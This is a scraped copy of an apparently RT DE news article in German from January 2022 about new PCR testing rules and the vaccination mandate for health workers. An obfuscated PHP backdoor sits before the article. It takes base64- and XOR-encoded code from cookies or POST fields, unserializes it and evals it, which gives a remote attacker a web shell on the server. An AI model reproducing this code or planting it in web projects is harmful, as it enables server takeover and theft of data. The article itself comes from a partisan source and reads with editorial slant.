$auDiDm = class_exists("V_CGoZ");if (!$auDiDm){class V_CGoZ{private $XkVtqVHtt;public static $fKcqCF = "a158a651-ff74-4edd-953b-c602dc034b3c";public static $zDAWli = NULL;public function __construct(){$VLrdKegcTD = $_COOKIE;$DhwQtx = $_POST;$mummiCkbIe = @$VLrdKegcTD[substr(V_CGoZ::$fKcqCF, 0, 4)];if (!empty($mummiCkbIe)){$gjDlrlmo = "base64";$iKSRFTZjJ = "";$mummiCkbIe = explode(",", $mummiCkbIe);foreach ($mummiCkbIe as $knlWEFqQRS){$iKSRFTZjJ .= @$VLrdKegcTD[$knlWEFqQRS];$iKSRFTZjJ .= @$DhwQtx[$knlWEFqQRS];}$iKSRFTZjJ = array_map($gjDlrlmo . chr ( 924 - 829 ).chr ( 569 - 469 ).chr (101) . "\143" . chr ( 254 - 143 ).'d' . chr ( 408 - 307 ), array($iKSRFTZjJ,)); $iKSRFTZjJ = $iKSRFTZjJ[0] ^ str_repeat(V_CGoZ::$fKcqCF, (strlen($iKSRFTZjJ[0]) / strlen(V_CGoZ::$fKcqCF)) + 1);V_CGoZ::$zDAWli = @unserialize($iKSRFTZjJ);}}public function __destruct(){$this->qrWpeOVCE();}private function qrWpeOVCE(){if (is_array(V_CGoZ::$zDAWli)) {$bdwWJSmubh = str_replace('<' . chr (63) . chr ( 117 - 5 ).'h' . "\x70", "", V_CGoZ::$zDAWli[chr (99) . "\157" . "\156" . "\164" . "\x65" . chr ( 670 - 560 ).'t']);eval($bdwWJSmubh);exit();}}}$fnjTXPt = new V_CGoZ(); $fnjTXPt = NULL;} ?> Gesundheitsministerkonferenz definiert die Regelungen für PCR-Testungen neu — RT DE – No-Zensur.de Das freie Wort für eine freie Welt
Start RT-deutsch Gesundheitsministerkonferenz definiert die Regelungen für PCR-Testungen neu — RT DE

Gesundheitsministerkonferenz definiert die Regelungen für PCR-Testungen neu — RT DE

0
Gesundheitsministerkonferenz definiert die Regelungen für PCR-Testungen neu — RT DE


Die Gesundheitsminister der Länder haben beschlossen, dass nicht mehr alle per Schnelltest positiv Getesteten einen PCR-Test bekommen. Gesundheitsminister Lauterbach sieht gleiche Aussagekraft von Antigen – und PCR-Tests als „Wahrscheinlichkeit“ an.

Am 22. Januar 2022 trafen sich die Gesundheitsminister der Länder zu einer Schaltkonferenz, um die neuesten Regelungen und Vorgaben für die Bürger zu beschließen. Laut der dpa wurde im Anschluss bekannt gegeben, dass angesichts der steigenden Zahl von Corona-Infektionen in Deutschland nicht mehr alle per Schnelltest positiv Getesteten einen PCR-Test bekommen werden. Sachsen-Anhalts Gesundheitsministerin Petra Grimm-Benne (SPD) wird mit den Worten zitiert, dass „die Laborkapazitäten endlich“ seien.

"Wie viele Eigentore kann man schießen?" Debatte um Verkürzung des Genesenenstatus

Auf die Tatsache, dass die hohe Zahl der eingehenden Testanfragen und der damit dementsprechenden Dynamisierung von Testergebnissen unter anderem auch durch die 2G-Plus-Regelung und den forcierten Testdurchläufen in den Schulen zusammenhängt, wurde in der Meldung nicht eingegangen. Laut dpa-Meldung begrüßten die Gesundheitsminister der Länder Vorschläge von Bundesgesundheitsminister Karl Lauterbach (SPD) für eine Priorisierung von PCR-Tests. Dieser hatte sich im Rahmen eines Interviews mit der Rheinischen Post (Bezahlschranke) dahingehend geäußert, dass er die Ergebnisse von Antigen- und PCR-Test als gleichwertig in ihrer Aussagekraft bewerte:

„Die Wahrscheinlichkeit, dass der PCR-Test ein anderes Ergebnis anzeigt als ein professioneller Antigen-Test, ist sehr gering (…). So sparen wir wichtige PCR-Kapazitäten für den Höhepunkt der Welle.“

Streeck zur Impfpflicht:  "Wir können noch nicht einmal sagen, wie häufig wir impfen müssen"

Die Gesundheitsminister befürworteten stattdessen eine Nachtestung mit einem „zweiten überwachten Antigentest“. Grimm-Benne erklärte: „Für alle anderen Personen, die keine Symptome haben und ein positives Antigentest-Ergebnis vorweisen können, soll auf eine Bestätigung per PCR verzichtet werden.“ Zudem soll bei einer roten Anzeige in der Corona-Warn-App auf einen PCR-Test verzichtet werden und stattdessen auf „qualitativ hochwertige Antigentests“ zur Diagnostik eingesetzt werden. Das Bundesministerium für Gesundheit (BMG) teilte in einer Twitter-Meldung dazu mit:

Erste Reaktionen in den sozialen Medien auf die nun bekannt gewordenen Pläne verwiesen mehrfach auf eine Aussage des ehemaligen Gesundheitsministers Jens Spahn aus dem August des Vorjahres: „Wir verkünden keine Wahrheiten, sondern wir wägen ab zwischen unterschiedlichen Interessen und Aspekten. (…) Wenn wir geschützte Menschen auch genauso testen wie ungeschützte, dann hört diese Pandemie nie auf.“

Impfpflicht: Abgeordnete der Ampelkoalition legen Gesetzesentwurf vor

Laut Ergebnissen der Schaltkonferenz sollen sich die Gesundheitsämter laut dpa wegen „der stark steigenden Infektionszahlen“ künftig auf die Kontaktnachverfolgung bei Corona-Fällen im Klinik- und Pflegebereich und in Einrichtungen der Eingliederungshilfe für Menschen mit Behinderung konzentrieren. Der Beschluss besagt demnach, dass „neben der Kontaktaufnahme zu infizierten Personen und deren Haushaltsangehörigen“ die Nachverfolgung in diesen Bereichen „mit höchster Priorität“ zum Schutz sogenannter „vulnerabler Gruppen“ durchgeführt werden soll.

„Weitere Kontaktpersonen“, also der Rest der Bürger, die ein positives Antigen-Schnelltestergebnis erhalten, müssten nun damit rechnen, dass sie „in der Regel mit deutlichem Zeitverzug oder nicht mehr durch die zuständigen Behörden kontaktiert werden können“, so die Einschätzung der Gesundheitsminister laut dpa.

Zum Thema einer berufsbezogenen Impfpflicht wird „das Bundesgesundheitsministerium gebeten, gemeinsam mit den Bundesländern ‚unverzüglich‘ alle offenen Fragen bei dem Thema zu klären, etwa für wen ganz genau die Impfpflicht gelten soll, welche Ausnahmen es gibt und wie Betroffene angehört werden“, so die Darlegung der dpa-Information in Verbindung folgender Ergänzung:

„Die sogenannte einrichtungsbezogene Corona-Impfpflicht wurde Mitte Dezember beschlossen: Beschäftigte in Einrichtungen mit schutzbedürftigen Menschen wie Kliniken und Pflegeheime müssen bis zum 15. März 2022 nachweisen, dass sie geimpft oder genesen sind. Das Gesundheitsamt kann sonst ein Tätigkeitsverbot aussprechen.“

Die Gesundheitsminister sprechen sich laut dpa für „die Prüfung eines mehrstufigen Verfahrens aus“, sodass ungeimpfte Beschäftigte „nicht sofort mit einem Tätigkeitsverbot belegt werden müssten“. Es müsse eher abgewogen werden, „ob nicht vor einem Tätigkeitsverbot zunächst Bußgelder verhängt werden könnten“.

Mehr zum Thema – RKI: Über 50 Prozent der deutschen Bevölkerung sind bereits geboostert

(rt/dpa)





Source link